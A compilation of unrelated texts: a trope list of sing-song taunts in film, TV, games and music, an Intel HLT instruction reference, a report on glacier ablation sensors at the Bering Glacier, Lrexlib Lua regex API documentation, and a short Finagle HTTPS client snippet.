When one character is trying to think of a Freudian Excuse or has experienced a humiliating incident, or is just minding his own business, another character will immediately mock him to the tune of "Ring Around The Rosie".
There also seems to be a recurring taunt in fiction, where a character puts both hands to the side of their face, with their thumbs at their cheeks, then wiggle their fingers and go "Nana Na Nana Na" to the same tune. Sometimes another tune will used instead, but the tone will still be one of mocking another.
It seems this trope is done mostly by immature characters.
Also a rather common playground thing in Real Life in some places as well.
Will occasionally overlap with Blowing a Raspberry or Crowd Chant. For musically mocking a character about a relationship or crush, see Kissing In A Tree. See also Playground Song.
Examples:
- Digimon:
- Digimon Adventure:
Biyomon: Go-ma-mon's em-bar-rassed!

- Digimon Tamers: Takato has a dream about a battle in the rain and tries to tell his friends about it the next day. They don't believe him.
Kazu: Maybe you made your own cold puddle!
- In The Smurfs comic book story "Smurf Soup", Gargamel sees that Bigmouth the ogre has turned ugly because he ate the Smurf soup. The Smurfs get a little sing-songy just to taunt Gargamel into having Bigmouth physically abuse him.

Gargamel: But I didn't know it would have that effect!
Smurfs: ♪♫ Yes, he did know! Yes, he did know! ♪♫
Bigmouth: Ha ha! I've got you! And now you're going to do that thing... that trick, like Papa Smurf says, that afterwards makes you like before!
Gargamel: The antidote? But I don't know it!
Smurfs: ♪♫ Yes, he does know! Yes, he does know! ♪♫
- Matt Groening must like this trope because, besides The Simpsons, he also used it in his Life in Hell comic, where Binky somehow thought it would be cute to sing to his date, "Someone's got a run in her pantyhose."
- In the Empath: The Luckiest Smurf story "Empath And The Golden Magic Bird", Nat, Snappy, and Slouchy tease Sassette with "Sassette's in love with Empath" repeated over and over when Sassette calls Empath a "big lover Smurf", presumably after Sassette has been kissed by Empath when she was temporarily an adult Smurf and Empath had the hots for Sassette.
- In The Loud House fanfiction The Nightmare House, Mr. Coconuts taunts Luan in her nightmare by chanting, "Luan isn't fun-ny!".
- Thumper does this to Bambi to encourage him to make a jump during Bambi II.

- The Land Before Time V: Ducky teases a Sharptooth (read: Giganotosaurus) this way (before that, Cera shook her tail at it):
Ducky: The log is gooooone! / You cannot get acroooooss!
- Followed by Petrie adding "Me think you a stinker!" And then it somehow jumps all the way across the chasm. And they have to start running again.
- The "Hook is a codfish" scene from Disney's Peter Pan.
- From Hercules:
Pain and Panic: Our hero's a zero! Our hero's a zero!
- The Lion King:
- The Hyenas: "No king, no king, la la-la la-la la!"
- At the start of the stand off between Simba's pride and Scar's old pride in The Lion King II: Simba's Pride, Timon and Pumba shake their fannies at the enemy lions and say "Nyah nyah nyah nyah nyah nyah!"
- From Rookie of the Year:
Henry Rowengartner: Pitcher's got a big butt! Pitcher's got a big butt!
- In A League of Their Own, Evelyn's bratty son Stilwell likes to taunt the Peaches with finger-waggling and a chant of "You're gonna lo-ose."
- Miss Congeniality: After She Cleans Up Nicely:
You think I'm gor-geous.  You want to hug me.
- It gets a Meaningful Echo at the end of the film.
- In Animal Crackers, Ravelli threatens to reveal Chandler's past identity, taunting him: "Abie the fish man! Abie the fish man!" (In the script of the original play, the taunt was "He's Ivan the Fish-Peddler.")
- Pirates of the Caribbean: Dead Man's Chest: Captain Jack Sparrow tries to exploit Davy Jones's prohibition from setting foot on land.
Jack: I got a jar of dirt! I got a jar of dirt!
- In Stuart Little, Stuart shouts, "Hey, Smokey!" in a sing-song voice before he can kill Snowbell and before he whacks Smokey off with a branch.
- In The Smurfs 2, the Smurfs theme song is used by Smurfette and Vexy in this fashion when they mock Azrael's failure to catch them.
- In the Audience Participation album for The Rocky Horror Picture Show, a member of the audience goes "nya nya nya nya nya" after Frank N. Furter uses the "sonic transducer" to freeze Brad, Janet, and Dr. Scott so that they couldn't move their feet (or wheels) in the laboratory.
- A slight variation in Miracle on 34th Street; when the district attorney calls "Objection" at one point during the hearing, the judge sing-songs, "O-Ver-ruled."
- The Warriors: "Warriors, come out and play."
- Face/Off: "THE NEXT HUNDRED YEARS!"
- Look Who's Talking Too has the egg cell going "neener neener neener" to the swarm of sperm cells when they find themselves blocked off from access to her by a diaphragm.
- In Freddy's Dead: The Final Nightmare, young Freddy Kruger is teased by his fellow classmates with "Son of a hundred maniacs!" when he takes a mouse out of the classroom's cage and smashes it with a hammer.
- In Arthur's Valentine, Sue Ellen criticizes the Valentine Arthur leaves in her desk; Buster announces that Arthur left it, and the class sings "Arthur loves Sue Ellen!"
- A Series of Unfortunate Events: Vice Principal Nero constantly does this to put down his students, another sign of his Manchild behavior.
- Sheila Tubman in Tales of a Fourth Grade Nothing by Judy Blume taunts Peter Hatcher and his friend Jimmy Fargo by singing they've got the cooties, until they both turn the tables and sing "Sheila's got the cooties!"
- In Forbidden, when Maya tells her little brother that she was late to pick him up because she was talking to a boy from school:
I told him that I was talking to a boy from school. I thought this would be the end of it, but I'd forgotten Tiffin is eight. "Maya's got a boyfriend, a boyfriend, a boyfriend!" he sang all the way home.
- Peeves the poltergeist from Harry Potter does this on multiple occasions. One example is in Harry Potter and the Half-Blood Prince when Harry asks Luna Lovegood to a ball. When Peeves overhears this he flies of to let the whole school know that Potter "lurves" Loony.
- Shirley Jackson called this the "da-da, da-da-da" or "I've got a secret" melody and wrote about the first time she heard one of her daughters sing it along with other typical childhood stuff turning up ("o-u-t spells out", skipping, candy cigarettes, chocolate apples, baseball cards, etc).
- In Happy Endings, Max makes fun of Brad for having a work wife by chant/singing 'Brad's got a work wife', Dave goes off-book by singing it like he's in a hair band, which Max eventually admits is better.
- Rachel on Friends, "The One With All the Poker".
I have got your mon-ey / And you'll never see it / And your fly's still o-pen / Ha! I made you loo-ook!
- Buffy the Vampire Slayer:
- Spike in "Becoming, part 2":
Some-one was-n't wor-thy!
- Xander to Buffy in "Ted":
You've got pa-ren-tal issues! You've got pa-ren-tal issues! [when Willow stops him] Hey, Freud would've said the same thing! Only he might not have done that little dance.
- Joyce in "Faith, Hope and Trick" after silencing Buffy's mocking comments toward Mr. Snyder:
I think what my daughter is trying to say is nyah nyah, nah-nyah nyah!
- Spike in "Becoming, part 2":
- Possessed Sam taunting Jo in the Supernatural episode "Born Under A Bad Sign":
My daddy shot your daddy in the he-ad.
- Used occasionally as Losing Horns on some Game Shows (Cram, Just Men!, and the Davidson run of The Hollywood Squares).
- In one episode of The Golden Girls, Dorothy returns home from a date angry at Sophia, and asks Rose to give them some privacy so they can talk alone. Rose heads down the hall singing "Somebody's gon-na geeeet it".
- The Big Bang Theory has Sheldon doing this to Leonard in one episode.
Amy: Two dates to a wedding? How times change!
Sheldon: Ha ha! You have to go to a wedding!
- The backing vocals of Emilie Autumn's "I Know Where You Sleep" evoke this. In the context set up by previous songs on the album, it conjures up a chorus of dead little girls taunting the man who killed them.
- The lead singer of The Waitresses' "I Know What Boys Like" does "nya nya nya nya nya" during the bridge and at the end of the song while mocking the boys that she teases with her charms throughout the rest.
- The female backup singer of the Thompson Twins' "Sugar Daddy" does "nya nya nya nya nya nya nya" at the end of the chorus.
- In an interview with KISS, after the interviewer asks Gene Simmons if he would have any kids, Paul Stanley lets out a "Do do do do do" to the tune of Ring around the Rosie, and everyone (including Gene) starts laughing.
- The Hammond organ plays this several times at the end of Toby Keith's "How Do You Like Me Now?!"
- The line "Sister's got a boyfriend" in "American Kids" by Kenny Chesney is done this way.
- "Don't Rush" by Kelly Clarkson and Vince Gill uses the progression unintentionally on the line "Stopping every minute just because we're in it."
- "William's Doll", a song based on the children's book of the same name from the album Free To Be...You And Me, has "A doll, a doll, William wants a doll" sung in a sing-songy manner to mock the title character for even wanting a doll.
- Journey's scatting at the end of "Lovin', Touchin', Squeezin'" does sound sing-songy, given that it happens at the end of the sung lyric, "Now it's your turn, girl, to cry."
- P.D.Q. Bach's "Echo Sonata for Two Unfriendly Groups of Instruments": The second entrance of the brass consists of "Nanny-Nanny Boo Boo". (Their first entrance consists of a sequence of outright sour notes.)
- In "Nuttin' for Christmas", the chorus ("I'm gettin' nuttin' for Christmas!") is sung to a variation of "Nanny-Nanny Boo Boo", and is punctuated with an instrumental version of "Nyeah-nyeah!"
- The movement "Tuileries" from Pictures at an Exhibition depicts children playing in the titular gardens by evoking this melody.
- Alice Cooper's "Inmates (We're All Crazy)" has the refrain "we're all crazy" sung in this style.
- Goldberg, being a big hockey fan, was thrilled with the "Gold-berg" chants in WCW, until he found out they were piped in.
  Same goes for Tazz,Amazing\Awesome Kong\Kharma and a few others. Bray Wyatt has even gotten this kind of support.

- In LEGO City Undercover, the criminals on Albatross Island taunt the guard with "nya nya nya nya nya nya" when they escape from their cells.
- In Spyro the Dragon games, dragon egg thieves sing "na-na-na-na-na" at you as they run away. Definitely annoying, as some of them are very hard to catch.
- In Mario Kart Wii, Baby Mario does this when he hits someone with an item. As well as this, Baby Daisy says "Nyah Nyah" when she passes another racer.
- This tends to feature a lot in Mario spinoffs in general. To name a few, Mario Tennis Open has Baby Peach saying "Nyah nyah!" as her taunt, Mario Party 8 also has Peach's occasional taunt "I am the princess!" in a sing song voice, and Mario Kart 8 has Cat Peach says "Nyah nyah nyah nyah nyah!" sometimes when passing another racer.
- Wario does this in Wario World on the pause screen. He'll keep doing it for up to 50 minutes before apologizing.
- In the Super Smash Bros. games as of Brawl, Princess Peach sings this as one of her taunts. "La la la la la la!"
- In Quest for Glory IV, in one case when you meet the Leshy, it sings, "Nanny, nanny, nanny, Nan," while avoiding you.
- As part of the Penalty Shots minigame in Bully, Constantinos will taunt you in this fashion as you take aim at him.
- Every once in a while on Negativland's "Over the Edge" weekly show on KPFA, this gets played on a DTMF tone generator (a device that creates the sounds heard on telephone touch-tone dial pads). You can play with one here.
- Yu-Gi-Oh! The Abridged Series: "Mako's a freaky fish guy!"
- "We're tormenting you!"
- Parodied on the Rifftrax to The Matrix Reloaded:
(during their sex scene) "Neo likes Trinity, Neo likes Trinity!"
- The Angry Grandpa videos have this sometimes. Angry Grandpa destroys bathroom:
- "I want em' out my house! I want em' out my house!"
- Angry Grandpa HATES the Nyan Cat:
- "I'm gonna break this motherfucker!"
- In the Dead Rat Prank video, Bridgette taunts Michael by singing "I got you back!" In a sing song voice.
- The Simpsons:
- "Lisa's Date with Density":
Mr. Dewey Largo: Miss Simpson, do you find something funny about the word "tromboner"?
Lisa Simpson: No, sir. I was laughing at something outside.
Sherri: She was looking at Nelson!
Class: (sing-song) Lisa likes Nelson!
Milhouse: She does not!
Class: (sing-song) Milhouse likes Lisa!
Janey: He does not!
Class: (sing-song) Janey likes Milhouse!
Uter van Finkle: She does not!
Class: (sing-song) Uter likes Milhouse.
Mr. Dewey Largo: Nobody likes Milhouse! Lisa, you've got detention! - When Mr. Burns loads the SNPP softball team with ringers in order to win a bet with a rival, Homer is replaced in left field by Darryl Strawberry. Bart & Lisa give him a "Darrr-ylll" chant in the hope that he'll quit so Homer can get back on the field.
- Bart's first day of kindergarten is chronicled in "Lisa's Sax," and things start to look up for him when he wins classmates over by clowning around on the playground. When principal Skinner shows up he sings "Skinner is a nut! He has a rubber butt!" When Skinner cues him to apologize," he follows it up with what's implied to be his first utterance of Eat my shorts!", then follows it up by singing "Butt-man!".
- In "Cape Feare," Bart takes shelter in the monkey bars during recess because he fears that someone at school wants to kill him.
Milhouse: I checked around.
Bart: Ah... that's good.
 When Ned is coaching Bart's peewee football team, Homer chants, "Flannn-ders" at him to make Ned lose his cool.
- The Simpsons Movie: Lisa has a perfect moment with Colin before they escape the dome. And then...
Bart: Lisa has a boyfriend, that she'll never see again!
- In another Simpsons episode, Terri & Sherri give Lisa body image anxiety by chanting, "Lisa has a big butt! Lisa has a big butt!"
- In yet another, Lisa is being taunted after the other kids steal her shoes. "Lisa has cooties! Lisa has cooties!" Principal Skinner just happens to come on the PA at that moment calling Lisa in to the nurse's office for a lice inspection...just before she gets hit with a soccer ball and bites her tongue as a result.
- In "The Last Temptation of Homer", this is also done, this time with fish while Homer is hallucinating: "Homer loves Min-dy! Homer loves Min-dy!"
- When Bart taunts Lisa for having to eventually go to an "awful" college in "Brawl In The Family": "You're going to Stanford! You're going to Stanford! You're going to Stanford!..." Homer joins in.
- In "Yokel Chords", Bart makes up a story about Dark Stanley, a school chef who went on a murderous rampage because kids made fun of him for not graduating from college. "Stanley, Stanley, no degree! Two credits short at MIT!"
- "Lisa's Date with Density":
- An early episode of Family Guy has a flashback in which Peter is teasing Bob Funland about his deceased mother with "Bob misses his mommy! Bob misses his mommy!"
- In his less sociopathic moments, Cartman of South Park likes to mock people with sing song. "Stan wants to ki-iss, Wendy Testabuuurger!" And then there's the "Muh muh muh" noises he makes in the movie when mocking Kyle. In "Red Hot Catholic Love," Cartman's Not Christian Rock band fares better than Kyle anticipates, and Cartman gloats in a similar fashion.
- In "Miss Teacher Bangs a Boy," Hall Monitor Cartman finds Ike's picture of his teacher in the school hallway, and discloses this as he returns the picture to Ike in front of Ike's entire class. The other kids mock Ike, laughing and chanting "Ike has a crush on teacher! Ike has a crush on teacher!"
- The episode "Scott Tenorman Must Die" contains another one of Cartman's most infamous examples once Scott learns the truth about Cartman's chili.
- Arthur:
- At the beginning of "Arthur's Family Vacation", Arthur's daydreaming about joining Buster at Camp Meadowcroak for another summer when D.W. bursts into his room chants the tune at him. "Guess what, Arthur? You can't go to camp! You can't go to camp! We're going on vacation! We're going on vacation! We're going on vacation..." There are also a couple of music cues which use the same tune. One is lighter and bouncier and use for humor; the other is slower and more somber and accompanies some of the characters' more disappointing moments, including the scene where D.W. tells Arthur about the family vacation.
- In "Surprise!" Francine embarrasses Catherine by getting on the microphone at her sweet sixteen bowling party and announcing "Catherine loves Shawn!", then making kissing noises into the microphone. Catherine retaliates by chasing Francine out of the bowling alley.
- In "Night Fright", Binky has an Imagine Spot where Arthur tells everyone that he has a night light by singing "Binky has a night light!", which the rest of the class also begin chanting.
- Brattus teases Mr. Bogus this way in the episode "Bogus to the Rescue":
Brattus: Bogus is a chicken! Bogus is a chicken!
- One episode of Teenage Mutant Ninja Turtles had the Shredder make all the adults in New York act like children. A newscaster at Channel 6 went "Nyah nyah, I'm on TV and you're not!" on the air.
- In the Dexter's Laboratory episode "The Big Cheese", Dexter is rendered incapable of saying anything besides the phrase "Omelette du fromage", and Dee Dee keeps mocking him by singing: "That's all you can saaaay, that's all you can saaay!"
- In the "Chiller Diller Movie Thriller" episode of Scooby-Doo, Shaggy taunts the villains by singing, "Nah nah, we have Scooby-Dee!"
- Cosgrove is reluctant to tell Freakazoid! that he has a girlfriend because he's afraid the Freakster will tease him by singing "Cosgrove's got a girlfriend! Cosgrove's got a girlfriend!", and his fears come true when Freakazoid learns the truth.
- In the "A Little Bit Country" episode of Stuart Little: The Animated Series, Stuart taunts Falcon (before he can kill Snowbell and Monty), "You'll never get me! You'll never get me!" in a sing-song tone while running in circles to distract him, then blowing a raspberry as well.
- In Pound Puppies, Brattina does this most of the time.
- One episode of My Little Pony: Friendship Is Magic, "Hurricane Fluttershy", establishes that one of the reasons Fluttershy is unable to fly fast is because she was teased at flight camp as a filly for being a weak flier, with the song "Fluttershy, Fluttershy, Fluttershy can hardly fly".
- After Geoffrey's crush on Gretchen in the Recess episode "The Pest" becomes well-known to the student body, both Swinger Girl and Upside-Down Girl tease Gretchen by singing, "Gretchen has a boyfriend! Gretchen has a boyfriend!"

- An episode of Beavis and Butt-Head has the two roped into running a teen crisis line. Stewart calls it to talk about his bed wetting problem. Beavis recognizes his voice and starts singing "Stewart wets his bed, dah dah! Stewart wets his bed, dah dah!"
- On X-Men: Evolution Nightcrawler once said "As you kids in America say: Neener, neener, neener!"
- The Silly Symphony short Elmer Elephant has the animal kids making fun of Elmer's trunk by chanting "Elmer's got a funny nose, it looks just like a rubber hose".
- Cow from Cow and Chicken would often sing about things in this fashion, almost always ending with the word "princess".
- Interestingly, this trope is inverted in the Blue's Clues episode "Magenta Comes Over," where everyone at Blue's house prepares for Magenta to visit, and they break into a little happy song and dance every time the subject comes up.
- Kaeloo: In Episode 156, Mr. Cat falls in love with a soda can thanks to a Love Potion gone wrong. Kaeloo's behavior makes it very clear that she is jealous of the soda can, and Stumpy sings "Kaeloo has a crush on Mr. Cat!" while making kissing noises.
- The Porky Pig cartoon "Injun Trouble" (and its remake "Wagon Heels") features Cloud Cuckoolander Sloppy Moe going "I know something, I won't tell, I won't tell, I won't tell...I know something, I won't tell, nya nya nya-nya!"


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The Software Carpentry lecture on regular expressions is now on the web. It's a bit of a jump from the previous lecture on design, but given how shaky the latter was, I needed the cuddly warm blanket of working on something I'm sure I understand. As always, comments and corrections to me, please.


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Stops instruction execution and places the processor in a HALT state. An enabled interrupt (including NMI and SMI), a debug exception, the BINIT# signal, the INIT# signal, or the RESET# signal will resume execution. If an interrupt (including NMI) is used to resume execution after a HLT instruction, the saved instruction pointer (CS:EIP) points to the instruction following the HLT instruction.
When a HLT instruction is executed on an Intel 64 or IA-32 processor supporting Intel Hyper-Threading Technology, only the logical processor that executes the instruction is halted. The other logical processors in the physical processor remain active, unless they are each individually halted by executing a HLT instruction.
The HLT instruction is a privileged instruction. When the processor is running in protected or virtual-8086 mode, the privilege level of a program or procedure must be 0 to execute the HLT instruction.
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If a glacier is in equilibrium with its environment, it will show neither a net increase or decrease in mass.
With a sustained negative balance, it will retreat; a sustained positive balance will result in an advance.
One measure of the likelihood of glacial survival is the thinning (by melting, or “ablation”) along the length of the glacier [1].
Typical ablation measurements are made with stakes inserted vertically into the ice; the difference between the exposed length of the stake at the beginning and end of the melt season is used to estimate the loss at that point.
A network of these stakes along the length of the glacier can provide measurements that can be converted into volume lost during an ablation season.
In practice, these stakes are measured infrequently; due to the remoteness of the Bering Glacier, it is not feasible to make measurements more than two or three times during the ablation season.
More frequent measurements were needed. For this reason, we designed an instrument to be left on the glacier, recording a variety of parameters (in addition to ablation) on an hourly basis.
The Glacier Ablation Sensor System (GASS) was designed and fabricated by MTRI, and deployed by MTRI, USGS, and BLM scientists to record, on a hourly basis, data describing the horizontal and vertical (melt) movement of a glacier, as well as corresponding meteorological parameters.
Beginning in 2004, a minimum of 6 GASS units have been placed at different elevations on the Bering lobe of the glacier.
For the 2008 and 2010 field seasons, one of the GASS sensors was equipped to transmit data using the ARGOS satellite service.
For the 2011 season, the ARGOS hardware was replaced with an Iridium Satellite modem.
The Iridium network has 66 satellites in polar orbits, with excellent worldwide coverage.
Two GASS units, B01 (near the terminus) and B02 (up-glacier), were equipped to transmit collected data in real time.
The data from the other units (B03, B04, B06, and T01) will be available at the end of the season.
While the conventional method mentioned above required the distance to the ice be measured by hand, GASS uses a sonar pulse to measure the distance to the ice.
The time delay between the emitted pulse and the received signal is converted to distance, and recorded.
The other sensors in the GASS include temperature, wind speed, and upward and downward-looking light intensity.
The GASS unit is powered by a rechargeable battery coupled with a solar panel to provide extra power.
A sophisticated embedded microprocessor manages the power, data collection and storage.
A WAAS-enabled GPS records position and time for each measurement, and an acoustic sensor (sonar) is used to measure absolute distance between the GASS unit and glacier to derive the required melt information.
The suite of sensors is configured to provide information that will allow not just ablation estimation, but meteorological data that can be used to derive predictors of ablation in the absence of direct measurements.
At the heart of the GASS is the Propeller chip, designed by Parallax. It is a multicore microcontroller designed for parallel processing.
To quote Parallax literature, “It contains eight processors, or cores, (called cogs) which can operate simultaneously at your will. Using the Propeller is like employing a team of up to eight workers for a project; the team members can work in parallel on given tasks and coordinate as needed to achieve a common goal. Being truly flexible and efficient, they can share, shuffle, and dedicate to duties, quietly wait for events, start and stop, and direct each other as needed.” [2]
These eight cogs have internal memory of their own, but share access to main memory and the 32 I/O pins.
They also contain hardware to assist in signal detection and video generation.
This means that the propeller is an ideal choice over other microcontrollers for applications in which package count (and power consumption) is an issue; each cog can take on specific hardware roles under software control, ranging from serial I/O and control, to complete VGA video output. And each cog can be dynamically reconfigured, during execution.
Because there is no operating system, the operation of the cogs is truly synchronous, providing the designer complete control over system timing.
Along with the Propeller on the custom-designed sensor board are power regulation, an 8-channel (12-bit) A/D, an SD-RAM socket for data storage, and LEDs for diagnostic or user-specified indicators.
This generic sensor platform is the core of the system, controlling the sensors, communicating with them, storing the results, and (for two of the GASS units) transmitting these data back in real time for analysis and display.
The sensors themselves consist of:
A sonar that “pings” the ice surface, measuring the distance from the GASS to the ice surface. As the surface melts, the range increases.
A GPS, which provides time and location information. This location information is particularly useful this year, since the Bering Glacier is surging (and moving almost fast enough to detect by eye, unusual for a glacier).
Light sensors that measure both incident and reflected light, allowing continuous measurements of the albedo (which in turn is related to how much sunlight the ice is absorbing).
An anemometer for measuing wind speed
A temperature sensor
Two of the 2011 GASS units have satellite transmitters to relay the data as they are taken back to MTRI through the Iridium network.
Using a steam drill (a special-purpose steam generator and a long, insulated hose), a 10m-deep hole is made, into which an aluminum pipe is inserted.
The GASS is installed on the top section of the pipe, and activated. For the 2011 season, five GASS units were installed along the length of the glacier, starting at the terminus (B01, for “Bering Lobe, site 1), and ending above the snow equilibrium line in the Bagley Ice Field, where the glacier is “born”.
One GASS unit was placed on the Tashlish arm of the Bering Lobe (T01). Site B01 is shown here; B02 is shown here.


Lrexlib provides bindings of the two principal regular expression library interfaces (POSIX and PCRE) to Lua 5.1.
Lrexlib builds into shared libraries called by default rex_posix.so and rex_pcre.so, which can be used with require.
Lrexlib is copyright Reuben Thomas 2000-2007 and copyright Shmuel Zeigerman 2004-2007, and is released under the MIT license.
Most functions and methods in Lrexlib have mandatory and optional arguments. There are no dependencies between arguments in Lrexlib's functions and methods. Any optional argument can be supplied as nil (or omitted if it is trailing one), the library will then use the default value for that argument.
This document uses the following syntax for optional arguments: they are bracketed separately, and commas are left outside brackets, e.g.:
MyFunc (arg1, arg2, [arg3], [arg4])
Throughout this document, the identifier rex is used in place of either rex_posix or rex_pcre, that are the default namespaces for the corresponding libraries.
All functions receiving a regular expression pattern as an argument will generate an error if that pattern is found invalid by the used POSIX / PCRE library.
The default value for compilation flags (cf) that Lrexlib uses when the parameter is not supplied or nil, is:
- 0 for PCRE
- REG_EXTENDED for POSIX regex library
For PCRE, cf may also be supplied as a string, whose characters stand for PCRE compilation flags. Combinations of the following characters (case sensitive) are supported:
Character
PCRE flag
i
PCRE_CASELESS
m
PCRE_MULTILINE
s
PCRE_DOTALL
x
PCRE_EXTENDED
U
PCRE_UNGREEDY
X
PCRE_EXTRA
The default value for execution flags (ef) that Lrexlib uses when the parameter is not supplied or nil, is:
- 0 for PCRE
- 0 for standard POSIX regex library
- REG_STARTEND for those POSIX regex libraries that support it, e.g. Spencer's.
rex.match (subj, patt, [init], [cf], [ef], [lo])
The function searches for the first match of the regexp patt in the string subj, starting from offset init, subject to flags cf and ef.
PCRE: A locale lo may be specified.
Parameter Description Type Default Value subj subject string n/a patt regular expression pattern string n/a [init] start offset in the subject (can be negative) number 1 [cf] compilation flags (bitwise OR) number cf [ef] execution flags (bitwise OR) number ef [lo] [PCRE] locale string or userdata locale
rex.find (subj, patt, [init], [cf], [ef], [lo])
The function searches for the first match of the regexp patt in the string subj, starting from offset init, subject to flags cf and ef.
PCRE: A locale lo may be specified.
Parameter Description Type Default Value subj subject string n/a patt regular expression pattern string n/a [init] start offset in the subject (can be negative) number 1 [cf] compilation flags (bitwise OR) number cf [ef] execution flags (bitwise OR) number ef [lo] [PCRE] locale string or userdata locale
rex.gmatch (subj, patt, [cf], [ef], [lo])
The function is intended for use in the generic for Lua construct. It returns an iterator for repeated matching of the pattern patt in the string subj, subject to flags cf and ef.
PCRE: A locale lo may be specified.
Parameter Description Type Default Value subj subject string n/a patt regular expression pattern string n/a [cf] compilation flags (bitwise OR) number cf [ef] execution flags (bitwise OR) number ef [lo] [PCRE] locale string or userdata locale
The iterator function is called by Lua. On every iteration (that is, on every match), it returns all captures in the order they appear in the pattern (or the entire match if the pattern specified no captures). The iteration will continue till the subject fails to match.
rex.gsub (subj, patt, repl, [n], [cf], [ef], [lo])
This function searches for all matches of the pattern patt in the string subj and replaces them according to the parameters repl and n (see details below).
PCRE: A locale lo may be specified.
Parameter Description Type Default Value subj subject string n/a patt regular expression pattern string n/a repl substitution source string, function or table n/a [n] maximum number of matches to search for, or control function, or nil number or function nil [cf] compilation flags (bitwise OR) number cf [ef] execution flags (bitwise OR) number ef [lo] [PCRE] locale string or userdata locale
The parameter repl can be either a string, a function or a table. On each match made, it is converted into a value repl_out that may be used for the replacement.
repl_out is generated differently depending on the type of repl:
- if X represents a digit, then each %X occurence is substituted by the value of the X-th submatch (capture), with the following cases handled specially:
- each %0 is substituted by the entire match
- if the pattern contains no captures, then each %1 is substituted by the entire match
- any other %X where X is greater than the number of captures in the pattern will generate an error ("invalid capture index")
- if the pattern does contain a capture with number X but that capture didn't participate in the match, then %X is substituted by an empty string
- if X is any non-digit character then %X is substituted by X
All parts of repl other than %X are copied to repl_out verbatim.
- if it is a string or a number (coerced to a string), then the replacement value is that string;
- if it is a nil or a false, then no replacement is to be done;
Note: Under some circumstances, the value of repl_out may be ignored; see below.
gsub behaves differently depending on the type of n:
If n is a function, then it is called on each match, after repl_out is produced (so if repl is a function, it will be called prior to the n call).
n receives 3 arguments and returns 2 values. Its arguments are:
- The start offset of the match (a number)
- The end offset of the match (a number)
- repl_out
The type of its first return controls the replacement produced by gsub for the current match:
- true -- replace/don't replace, according to repl_out;
- nil/false -- don't replace;
- a string (or a number coerced to a string) -- replace by that string;
The type of its second return controls gsub behavior after the current match is handled:
- nil/false -- no changes: n will be called on the next match;
- true -- search for an unlimited number of matches; n will not be called again;
- a number -- maximum number of matches to search for, beginning from the next match; n will not be called again;
rex.split (subj, sep, [cf], [ef], [lo])
The function is intended for use in the generic for Lua construct. It is used for splitting a subject string subj into parts (sections). The sep parameter is a regular expression pattern representing separators between the sections.
The function returns an iterator for repeated matching of the pattern sep in the string subj, subject to flags cf and ef.
PCRE: A locale lo may be specified.
Parameter Description Type Default Value subj subject string n/a sep separator (regular expression pattern) string n/a [cf] compilation flags (bitwise OR) number cf [ef] execution flags (bitwise OR) number ef [lo] [PCRE] locale string or userdata locale
On every iteration pass, the iterator returns:
- A subject section (can be an empty string), followed by
- All captures in the order they appear in the sep pattern (or the entire match if the sep pattern specified no captures). If there is no match (this can occur only in the last iteration), then nothing is returned after the subject section.
The iteration will continue till the end of the subject. Unlike gmatch, there will always be at least one iteration pass, even if there's no matches in the subject.
rex.flags ([tb])
This function returns a table containing numeric values of the constants defined by the used regex library (either PCRE or POSIX). Those constants are keyed by their names (strings). If the table argument tb is supplied then it is used as the output table, else a new table is created.
The constants contained in the returned table can then be used in most functions and methods where compilation flags or execution flags can be specified. They can also be used for comparing with return codes of some functions and methods for determining the reason of failure. For details, see PCRE and POSIX documentation.
Parameter Description Type Default Value [tb] a table for placing results into table nil
rex.new (patt, [cf], [lo])
The functions compiles regular expression patt into a regular expression object whose internal representation is correspondent to the library used (PCRE or POSIX regex). The returned result then can be used by the methods tfind, exec and dfa_exec.
PCRE: A locale lo may be specified.
Parameter Description Type Default Value patt regular expression pattern string n/a [cf] compilation flags (bitwise OR) number cf [lo] [PCRE] locale string or userdata locale
r:tfind (subj, [init], [ef])
The method searches for the first match of the compiled regexp r in the string subj, starting from offset init, subject to execution flags ef.
Parameter Description Type Default Value r regex object produced by new userdata n/a subj subject string n/a [init] start offset in the subject (can be negative) number 1 [ef] execution flags (bitwise OR) number ef
r:exec (subj, [init], [ef])
The method searches for the first match of the compiled regexp r in the string subj, starting from offset init, subject to execution flags ef.
Parameter Description Type Default Value r regex object produced by new userdata n/a subj subject string n/a [init] start offset in the subject (can be negative) number 1 [ef] execution flags (bitwise OR) number ef
[PCRE 6.0 and later. See pcre_dfa_exec in the PCRE docs.]
r:dfa_exec (subj, [init], [ef], [ovecsize], [wscount])
The method matches a compiled regular expression r against a given subject string subj, using a DFA matching algorithm.
Parameter Description Type Default Value r regex object produced by new userdata n/a subj subject string n/a [init] start offset in the subject (can be negative) number 1 [ef] execution flags (bitwise OR) number ef [ovecsize] size of the array for result offsets number 100 [wscount] number of elements in the working space array number 50
[PCRE only. See pcre_maketables in the PCRE docs.]
rex.maketables ()
Creates a set of character tables corresponding to the current locale and returns it as a userdata. The returned value can be passed to any Lrexlib function accepting the locale parameter.
[PCRE 4.0 and later. See pcre_config in the PCRE docs.]
rex.config ([tb])
This function returns a table containing the values of the configuration parameters used at PCRE library build-time. Those parameters (numbers) are keyed by their names (strings). If the table argument tb is supplied then it is used as the output table, else a new table is created.
Parameter Description Type Default Value [tb] a table for placing results into table nil
rex.plainfind (subj, patt, [init], [ci])
The function searches for the first match of the string patt in the subject subj, starting from offset init.
- The string patt is not regular expression, all its characters stand for themselves.
- Both strings subj and patt can have embedded zeros.
- The flag ci specifies case-insensitive search (current locale is used).
- This function uses neither PCRE nor POSIX regex library.
Parameter Description Type Default Value subj subject string n/a patt text to find string n/a [init] start offset in the subject (can be negative) number 1 [ci] case insensitive search boolean false
Incompatibilities between the versions 2.0 and 1.19:
- Lua 5.1 is required
- Functions newPCRE and newPOSIX renamed to new
- Functions flagsPCRE and flagsPOSIX renamed to flags
- Function versionPCRE renamed to version
- Method match renamed to tfind
- Method gmatch removed (similar functionality is provided by function gmatch)
- Methods tfind and exec: 2 values are returned on failure
- (PCRE) exec: the returned table may additionally contain named subpatterns
Incompatibilities between the versions 2.1 and 2.0:
Incompatibilities between the versions 2.2 and 2.1:


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#layout: post
title: 'HTTPS client with Finagle: short reference'
date: '2013-09-17T22:32:00.000+03:00'
author: Paul Lysak
tags:
- Finagle
- Scala
- HTTPS
modified_time: '2014-02-03T18:10:03.053+02:00'
blogger_id: tag:blogger.com,1999:blog-5849718801312198988.post-7786299365833777065
blogger_orig_url: http://paullysak.blogspot.com/2013/09/https-client-with-finagle-short.html
years: ['2013']
---
It wasn't obvious for me how to make HTTPS calls with Finagle so I'd like to share key points here:
val client = ClientBuilder()
.codec(Http())
.hosts("yourServer:443")
.tls("yourServer")
.build()
val httpRequest = RequestBuilder().url("https://yourServer/somePath").buildGet
